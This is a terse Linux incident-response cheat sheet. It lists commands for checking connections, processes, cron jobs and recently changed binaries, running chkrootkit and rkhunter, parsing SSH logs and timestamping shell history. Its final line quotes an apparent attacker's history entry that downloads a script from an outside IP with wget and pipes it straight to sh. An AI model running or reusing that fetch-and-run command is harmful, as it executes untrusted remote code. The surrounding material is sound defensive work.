while true; do netstat -antp | grep [ip]; done

ps -elf | grep [pid]
kill -9 [pid]

ls -al /proc/[pid]/exe
rm -f [exe_path]

crontab -l

cat /etc/anacrontab

service --status-all

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

lsof -p [pid]

strace -tt  -T -e  trace=all  -p $pid

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
./chkrootkit

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

source /etc/profile

76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

好文推荐